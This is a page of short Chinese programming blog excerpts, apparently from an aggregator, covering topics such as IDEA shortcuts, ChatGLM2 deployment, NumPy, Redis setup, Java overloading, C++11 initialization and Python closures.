&#x1f604; 19年之后由于某些原因断更了三年&#xff0c;23年重新扬帆起航&#xff0c;推出更多优质博文&#xff0c;希望大家多多支持&#xff5e; &#x1f337; 古之立大事者&#xff0c;不惟有超世之才&#xff0c;亦必有坚忍不拔之志 &#x1f390; 个人CSND主页——Mi…

idea如何根据路径快速在项目中快速打卡该页面

在idea项目中使用快捷键shift根据路径快速找到该文件并打卡 双击shift(连续按两下shift) -粘贴文件路径-鼠标左键点击选中跳转的路径 自动进入该路径页面 例如&#xff1a;我的实例路径为src/views/user/govType.vue 输入src/views/user/govType或加vue后缀src/views/user/go…

ChatGLM2-6b的本地部署

** 大模型玩了一段时间了&#xff0c;一直没有记录&#xff0c;借假期记录下来 ** ChatGlm2介绍&#xff1a; chatglm2是清华大学发布的中英文双语对话模型&#xff0c;具备强大的问答和对话功能&#xff0c;拥有长达32K的上下文&#xff0c;可以输出比较长的文本。6b的训练参…

Python:处理矩阵之NumPy库(上)

目录 1.前言 2.Python中打开文件操作 3.初步认识NumPy库 4.使用NumPy库 5.NumPy库中的维度 6.array函数 7.arange函数 8.linspace函数 9.logspace函数 10.zeros函数 11.eye函数 前言 NumPy库是一个开源的Python科学计算库&#xff0c;它提供了高性能的多维数组对象、派生对…

linux centos redis-6.2.6一键安装及配置密码

linux centos redis-6.2.6一键安装及配置密码 redis基本原理一、操作阶段&#xff0c;开始安装 redis基本原理 redis作为非关系型nosql数据库&#xff0c;一般公司会作为缓存层&#xff0c;存储唯一会话id&#xff0c;以及请求削峰作用 一、数据结构 Redis支持多种数据结构&a…

操作系统期末复习整理知识点

操作系统的概念&#xff1a;①控制和管理整个计算机系统的硬件和软件资源&#xff0c;并合理地组织调度计算机的工作和资源的分配&#xff1b;②提供给用户和其他软件方便的接口和环境&#xff1b;③是计算机中最基本的系统软件 功能和目标&#xff1a; ①操作系统作为系统资源…

【JAVASE】详讲JAVA语法

这篇你将收获到以下知识&#xff1a; &#xff08;1&#xff09;方法重载 &#xff08;2&#xff09;方法签名 一&#xff1a;方法重载 什么是方法重载&#xff1f; 在一个类中&#xff0c;出现了多个方法的名称相同&#xff0c;但是它们的形参列表是不同的&#xff0c;那…

【Linux系统编程】进程地址空间

目录 前言 进程虚拟地址空间的引入 进程地址空间的概念 进一步理解进程地址空间 为什么需要进程地址空间&#xff1f; 系统层面理解malloc/new内存申请 前言 首先&#xff0c;在我们学习C语言的时候一定会见过如下这张图。&#xff08;没见过也没关系&#xff0c;接下来…

移除重复节点---链表

面试题 02.01. 移除重复节点 - 力扣&#xff08;LeetCode&#xff09; 链表指针p和curr 与head指向同一块空间&#xff1b; p和head来比较相同的值&#xff0c;遇到一样的值、就改变这个空间里面struct的成员变量next指针指向的地址&#xff0c;跳向next的next再比较&#xf…

PDF编辑与转换的终极工具智能PDF处理Acrobat Pro DC

Acrobat Pro DC 2023是一款功能全面的PDF编辑管理软件&#xff0c;支持创建、编辑、转换、签署和共享PDF文件。它具备OCR技术&#xff0c;可将扫描文档转换为可编辑文本&#xff0c;同时提供智能PDF处理技术&#xff0c;确保文件完整性和可读性。此外&#xff0c;软件还支持电子…

目标检测数据集 - 智能零售柜商品检测数据集下载「包含VOC、COCO、YOLO三种格式」

数据集介绍&#xff1a;智能零售柜商品检测数据集&#xff0c;真实智能零售柜监控场景采集高质量商品图片数据&#xff0c;数据集含常见智能零售柜商品图片&#xff0c;包括罐装饮料类、袋装零食类等等。数据标注标签包含 113 个商品类别&#xff1b;适用实际项目应用&#xff…

Python 基于阿里云的OSS对象存储服务实现本地文件上云框架

Python 基于阿里云的OSS对象存储服务实现将文件上云框架 文章目录 Python 基于阿里云的OSS对象存储服务实现将文件上云框架一、前言二、阿里云配置1、获取用户AKEY和AKeySecret2、创建Bucket 三、Python 阿里云oss上云框架1、安装oss2依赖库2、阿里云oss python 一、前言 未来…

C++11 列表初始化(initializer_list),pair

1. {} 初始化 C98 中&#xff0c;允许使用 {} 对数组进行初始化。 int arr[3] { 0, 1, 2 };C11 扩大了 {} 初始化 的使用范围&#xff0c;使其可用于所有内置类型和自定义类型。 struct Date {int _year;int _month;int _day;Date(int year, int month, int day):_year(year…

基于某评论的TF-IDF下的LDA主题模型分析

完整代码&#xff1a; import numpy as np import re import pandas as pd import jieba from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.decomposition import LatentDirichletAllocationdf1 pd.read_csv(小红书评论.csv) # 读取同目录下csv文件…

ssm613个性化旅游攻略定制系统设计与实现+jsp【已测试】

前言&#xff1a;&#x1f469;‍&#x1f4bb; 计算机行业的同仁们&#xff0c;大家好&#xff01;作为专注于Java领域多年的开发者&#xff0c;我非常理解实践案例的重要性。以下是一些我认为有助于提升你们技能的资源&#xff1a; &#x1f469;‍&#x1f4bb; SpringBoot…

【Python教程】1-注释、变量、标识符与基本操作

在整理自己的笔记的时候发现了当年学习python时候整理的笔记&#xff0c;稍微整理一下&#xff0c;分享出来&#xff0c;方便记录和查看吧。个人觉得如果想简单了解一名语言或者技术&#xff0c;最简单的方式就是通过菜鸟教程去学习一下。今后会从python开始重新更新&#xff0…

SQL Chat:从SQL到SPEAKL的数据库操作新纪元

引言 SQL Chat是一款创新的、对话式的SQL客户端工具。 它采用自然语言处理技术&#xff0c;让你能够像与人交流一样&#xff0c;通过日常对话的形式对数据库执行查询、修改、创建及删除操作 极大地简化了数据库管理流程&#xff0c;提升了数据交互的直观性和效率。 在这个框…

【Python】 闭包

什么是闭包 用一句话粗略概况为&#xff1a;在一个函数内&#xff0c;读取外部函数定义的变量的机制。更一般地说&#xff0c;闭包函数是带有状态的函数&#xff0c;状态是指调用环境的上下文&#xff0c;当函数带上了状态就是闭包。 如下代码&#xff0c;在函数f内定义了一个…